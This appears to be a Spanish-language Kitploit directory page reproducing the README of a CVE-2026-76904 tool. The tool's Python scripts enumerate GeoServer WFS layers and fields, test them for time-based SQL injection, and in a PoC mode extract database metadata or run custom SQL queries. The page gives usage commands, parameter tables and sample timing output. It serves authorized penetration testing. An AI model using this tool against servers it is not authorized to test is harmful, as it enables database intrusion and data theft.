Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-76904 — Scripts de Python para inventariar endpoints WFS de GeoServer y verificar vulnerabilidades de inyección SQL basadas en tiempo en PostGIS/GeoTools, con un modo PoC dedicado para pruebas autorizadas. | Kitploit
Herramientas/GitHubGitHub/bickzero93/cve-2026-76904
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubbickzero93/cve-2026-76904

CVE-2026-76904

Scripts de Python para inventariar endpoints WFS de GeoServer y verificar vulnerabilidades de inyección SQL basadas en tiempo en PostGIS/GeoTools, con un modo PoC dedicado para pruebas autorizadas.

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GeoServer WFS Inventario y verificación autorizada

Este repositorio contiene dos scripts de Python para la investigación de endpoints WFS de GeoServer.

Resumen

wfs_inventory.py

Propósito: Inventariar capas, campos XSD y valores WFS, así como verificar candidatos opcionalmente mediante una comprobación basada en tiempo.

Ejemplos de ejecución:

root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt

geoserver_sqli_working.py

Propósito: Punto de entrada combinado para el inventario, así como un modo PoC separado.

Ejemplos de ejecución:

root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"

Nota importante: La comprobación basada en tiempo y el modo PoC solo deben utilizarse contra sistemas para los que exista una autorización expresa de prueba. El modo de inventario normal utiliza exclusivamente operaciones WFS regulares.

Requisitos previos

  • Python 3.10 o superior
  • Sin paquetes Python adicionales; ambos scripts usan únicamente la biblioteca estándar
  • Acceso de red al endpoint WFS

Opcionalmente, hacerlos ejecutables:

root@kitploit:~
chmod +x wfs_inventory.py geoserver_sqli_working.py

Inicio rápido

Buscar candidatos mediante consultas WFS regulares

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4

La ruta estándar /geoserver/wfs se añade automáticamente. Por tanto, las siguientes indicaciones son equivalentes:

root@kitploit:~
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs

En caso de una instalación diferente, debe especificarse la ruta WFS completa.

Verificar candidatos con una comprobación basada en tiempo

Solo para sistemas expresamente autorizados:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1

Durante la comprobación aparece una medición por candidato en stderr:

root@kitploit:~
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true

Un screen superado no es aún un hallazgo positivo. Solo si la segunda medición, más larga, también se supera, se emite un bloque de parámetros.

Escribir diagnóstico en un archivo

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

--valid-diagnose FILE activa automáticamente el diagnóstico detallado y lo escribe en el archivo especificado.

Flujo del modo automático

El modo estándar auto procesa la información WFS en este orden:

  1. GetCapabilities se abre una vez:

    root@kitploit:~
    /geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
    
  2. La respuesta XML se transmite en streaming. En cuanto se encuentra un FeatureType/Name, queda fijado el siguiente typeName.

  3. Para esta capa se ejecuta inmediatamente DescribeFeatureType con version=2.0.0.

  4. El script extrae los elementos XSD y selecciona campos String/JSON con nombres similares a ID o numéricos.

  5. El candidato se comprueba según la invocación:

    • Sin --sleep: los valores de muestra deben ser JSON sintácticamente válido.
    • Con --sleep N: se miden una consulta de control y una consulta de comprobación basada en tiempo. La verificación del valor JSON se omite.
  6. El resultado se emite inmediatamente y se vacía el buffer.

  7. Solo después se lee el siguiente typeName de la respuesta GetCapabilities en curso.

De este modo, no es necesario procesar completamente una respuesta GetCapabilities grande antes de que aparezca el primer resultado.

Criterios para candidatos de campo

Sin --sleep, el modo automático considera por defecto campos String/JSON con nombres similares a ID o numéricos.

Con --sleep, --candidate-scope auto utiliza en cambio todos los campos simples que no sean de geometría. El tipo XSD y el patrón de nombre de ID ya no bloquean la comprobación de tiempo. Esto evita falsos negativos en tipos XSD numéricos, de fecha/booleano o específicos del fabricante.

Los patrones de nombre reconocidos incluyen, entre otros:

root@kitploit:~
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid

En la comprobación basada en tiempo, el nombre del campo debe ser además un identificador simple con el formato [A-Za-z_][A-Za-z0-9_]*.

Diferencia entre la comprobación JSON y la de sleep

Sin --sleep, se comprueba si los valores observados pueden interpretarse sintácticamente como JSON. Por eso, por ejemplo, la cadena "383205" también se considera candidata, porque su contenido representa un número JSON válido. Esta comprobación es una heurística y no una prueba de vulnerabilidad.

Con --sleep 1, solo decide la medición de tiempo. Un candidato se considera positivo por defecto si la consulta de comprobación requiere al menos un 70 por ciento adicional del tiempo de sleep solicitado en comparación con la consulta de control. --timing-result-type auto comprueba primero resultType=hits y, en caso de resultado negativo, posteriormente resultType=results.

Las mediciones provisionalmente positivas se confirman obligatoriamente con un tiempo de sleep más largo. Sin un --confirm-sleep explícito, el script usa max(3, --sleep * 3), limitado a 10 segundos. Así, un único pico de latencia con --sleep 1 ya no conduce a vulnerable=true.

Salida compacta

La salida estándar contiene un bloque por capa válida:

root@kitploit:~
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B

parameter_stringN contiene el endpoint WFS normalizado y los valores adecuados para --typename y --field_name.

--valid-fields N cuenta bloques de capas, no campos individuales. Si existen menos de N capas válidas, se sigue investigando el catálogo restante. Con --max-layers se puede limitar el tiempo máximo de ejecución.

Diagnóstico detallado

Las opciones --diagnose o --valid-diagnose FILE añaden, entre otros:

  • endpoint WFS normalizado,
  • URL GetCapabilities utilizada,
  • URL DescribeFeatureType,
  • tipos de campo XSD,
  • marcadores de ID y usabilidad,
  • número de muestras comprobadas,
  • compatibilidad JSON o valores de medición de tiempo,
  • URL GetFeature generada y
  • cadenas de parámetros copiables.

Ejemplo:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --valid-diagnose diagnose.txt

Otros modos de inventario

Listar todas las capas

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers

Limitar a un namespace:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers \
  --namespace fink

Mostrar campos XSD de una capa

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode fields \
  --layer namespace:layer

Cada campo se emite como objeto JSON con nombre, tipo XSD, nillable, id_candidate y usable_property.

Exportar valores de campos seleccionados

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --field FIELD_A \
  --field FIELD_B \
  --max-features 100 \
  --format jsonl \
  --output values.jsonl

Exportar todas las propiedades:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --all-properties \
  --max-features 100

Con --unique, las combinaciones idénticas de valores de campo seleccionados se emiten solo una vez.

Parámetros de wfs_inventory.py

ParámetroEstándarSignificado
--url URLrequeridoHost, base GeoServer o endpoint WFS completo
--mode auto|layers|fields|valuesautoModo de operación a ejecutar
--layer NAMESPACE:LAYER–Limitar el modo automático a un feature-type; requerido para fields y values
--namespace PREFIX–Considerar solo capas de este prefijo de namespace
--capabilities-file FILE–Usar una respuesta GetCapabilities local en lugar de una descarga
--field NAMErepetiblePropiedad a exportar en el modo values
--all-propertiesdesactivadoExportar todas las propiedades en el modo values
--uniquedesactivadoSuprimir combinaciones de valores de campo duplicadas
--page-size N500Features por página GetFeature; rango 1 a 5000
--sample-size N5Valores de muestra por capa para la verificación de sintaxis JSON; rango 1 a 100
--sleep SECONDS0Activar verificación basada en tiempo; permitidos 0 o 1 a 10 segundos
--candidate-scope auto|id|allautoSelección de candidatos; auto usa campos ID sin sleep y todos los campos no geométricos con sleep
--timing-result-type auto|hits|resultsautoRuta de consulta de la comprobación de tiempo; auto prueba hits, luego results
--sleep-threshold RATIO

Punto de entrada combinado

geoserver_sqli_working.py puede invocar directamente la función de inventario. En cuanto se especifica --valid-fields, se ejecuta exclusivamente el inventario y el programa finaliza después.

Inventario mediante el script combinado

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

Internamente se pasan los siguientes parámetros a wfs_inventory.py:

root@kitploit:~
--target         -> --url
--valid-fields   -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep          -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep

Sin un --sleep explícito, la comprobación basada en tiempo permanece desactivada en el modo de inventario.

Modo PoC separado

Solo para sistemas de prueba expresamente autorizados:

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST/geoserver/wfs \
  --typename namespace:layer \
  --field_name FIELD \
  --sleep 5

En el modo PoC, la ruta de destino no se normaliza automáticamente. Aquí debe especificarse el endpoint WFS completo.

El modo ejecuta primero una prueba de baseline/sleep, luego prueba las variantes de oracle basadas en tiempo existentes y, tras una confirmación exitosa, lee por defecto metadatos de servidor/base de datos. Con --query puede especificarse en su lugar una consulta escalar propia.

El modo PoC desactiva actualmente la verificación de certificado TLS internamente. Para un inventario puro, debe preferirse wfs_inventory.py, ya que allí TLS se verifica por defecto.

Parámetros de geoserver_sqli_working.py

ParámetroEstándarSignificado
--target URLrequeridoHost de destino o endpoint WFS; en modo PoC usar ruta WFS completa
--typename NAMEfink_bku:fink_meta_mitte_suedwestFeature-type para el modo PoC
--field_name NAMErequerido en modo PoCNombre de campo XSD simple para jsonArrayContains
--field-name NAMEAliasAlias para --field_name
--valid-fields N–Activar modo de inventario y detenerse después de N capas válidas
--valid-diagnose FILE–Escribir informe de inventario detallado en FILE; requiere --valid-fields
--sleep SECONDSPoC: 5, inventario: desactivadoDuración del sleep del modo respectivo
--candidate-scope auto|id|allautoSelección de candidatos en modo de inventario
--timing-result-type auto|hits|resultsautoRuta de consulta de tiempo en modo de inventario
--sleep-threshold RATIO0.7Umbral de tiempo en modo de inventario
--confirm-sleep SECONDSautomáticoSleep de confirmación en modo de inventario
--query SQL–Consulta escalar propia en modo PoC
--debugdesactivadoMostrar condiciones, tiempos de ejecución y decisiones en modo PoC

Informe JSONL

El modo automático puede generar JSON Lines en lugar de bloques de texto:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --report-format jsonl \
  --output report.jsonl

Con --diagnose, cada registro contiene además URLs, metadatos de candidatos, valores de comprobación y URLs GetFeature específicas de campo.

Proxy y TLS

Usar proxy:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --valid-fields 4

Confiar en CA de proxy propio:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --proxy-ca proxy-ca.pem \
  --valid-fields 4

Desactivar verificación TLS para un sistema de prueba autorizado:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --insecure \
  --valid-fields 4

--proxy-ca y --insecure no pueden usarse conjuntamente.

Catálogos WFS grandes y rendimiento

Con respuestas GetCapabilities grandes ayudan las siguientes opciones:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --max-layers 100 \
  --sample-size 1 \
  --timeout 10 \
  --retries 0 \
  --delay 0

Notas:

  • GetCapabilities se solicita solo una vez y luego se transmite en streaming.
  • --valid-fields 4 finaliza el escaneo solo después de cuatro capas válidas. Si existen menos coincidencias, la búsqueda continúa hasta el final o hasta --max-layers.
  • --sample-size 1 reduce el esfuerzo de la heurística JSON.
  • En modo sleep se omite la muestra JSON. Por ruta de consulta se realizan una consulta de control y una de comprobación. Con --timing-result-type auto, tras un resultado negativo de hits, se ejecutan además dos consultas results.
  • Un candidato provisionalmente positivo provoca dos consultas adicionales para la confirmación escalada. Solo después se considera vulnerable.
  • --candidate-scope id reduce el número de consultas de tiempo, pero puede omitir campos vulnerables con otros nombres.
  • --namespace y --start-layer-index pueden limitar adicionalmente el espacio de búsqueda.

Solución de problemas

The read operation timed out

  • Aumentar --timeout si el servidor responde lentamente.
  • Establecer --retries 0 para evitar reintentos largos.
  • Usar --max-layers y --namespace.
  • Para la heurística JSON, usar --sample-size 1.

Sin salida

  • Sin --sleep, los candidatos deben superar la verificación XSD/nombre según --candidate-scope y la verificación de sintaxis JSON.
  • Con --sleep, solo los candidatos confirmados temporalmente se emiten como bloque de parámetros; las mediciones negativas aparecen como [sleep-check] en stderr.
  • Si existen menos coincidencias de las deseadas, el escaneo puede continuar durante mucho tiempo. En ese caso, establecer --max-layers.

Cannot do natural order without a primary key

Para la primera página GetFeature, el script no envía startIndex=0, ya que algunas capas GeoServer/JDBC sin clave primaria fuerzan una ordenación natural con ello. Al exportar páginas adicionales, dicha capa puede requerir no obstante una clave primaria o una ordenación soportada por el servidor.

schema does not define ...Type

El script considera tanto el habitual <LayerName>Type como un complexType diferente, referenciado en el elemento de capa XSD global o anónimo. Si el error persiste, debe examinarse la respuesta DescribeFeatureType correspondiente con --diagnose.

HTTP 400 en la comprobación de muestras

El mensaje de error OWS completo se emite en stderr. Las causas frecuentes son propiedades no soportadas, especificaciones de paginación del servidor o una configuración de fuente de datos específica de la capa.

Ayuda directamente en el terminal

root@kitploit:~
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
Descargar herramienta
0.7
Proporción requerida del tiempo de sleep; rango 0.5 a 1.0
--confirm-sleep SECONDS0/automáticoSleep de confirmación; 0 usa al menos 3× el primer tiempo de sleep, rango 1 a 10
--start-layer-index N0Omitir las primeras N capas transmitidas
--max-layers N0Procesar como máximo N capas; 0 significa ilimitado
--valid-fields N0Detenerse después de N bloques de capas válidas; 0 significa ilimitado
--valid NAliasAlias retrocompatible para --valid-fields
--max-features N0Detenerse después de N features en el modo values; 0 significa ilimitado
--format jsonl|csv|textjsonlFormato de salida en el modo values
--output FILEstdoutEscribir informe o valores en un archivo
--report-format blocks|jsonlblocksFormato del informe automático
--diagnosedesactivadoAñadir URLs, tipos, indicadores de selección y estadísticas de comprobación
--valid-diagnose FILE–Activar diagnóstico y escribir directamente en FILE
--delay SECONDS0.1Pausa entre pasos de resultado/comprobación
--timeout SECONDS30Timeout por solicitud HTTP
--retries N2Reintentos después de timeout o error de red; rango 0 a 10
--proxy URL–Proxy HTTP(S), por ejemplo http://127.0.0.1:8080
--proxy-ca FILE–Certificado CA PEM para confiar en un certificado de proxy
--insecuredesactivadoDesactivar verificación de certificado TLS
--authorization TEXTI_AM_AUTHORIZEDConfirmación de seguridad; debe ser exactamente I_AM_AUTHORIZED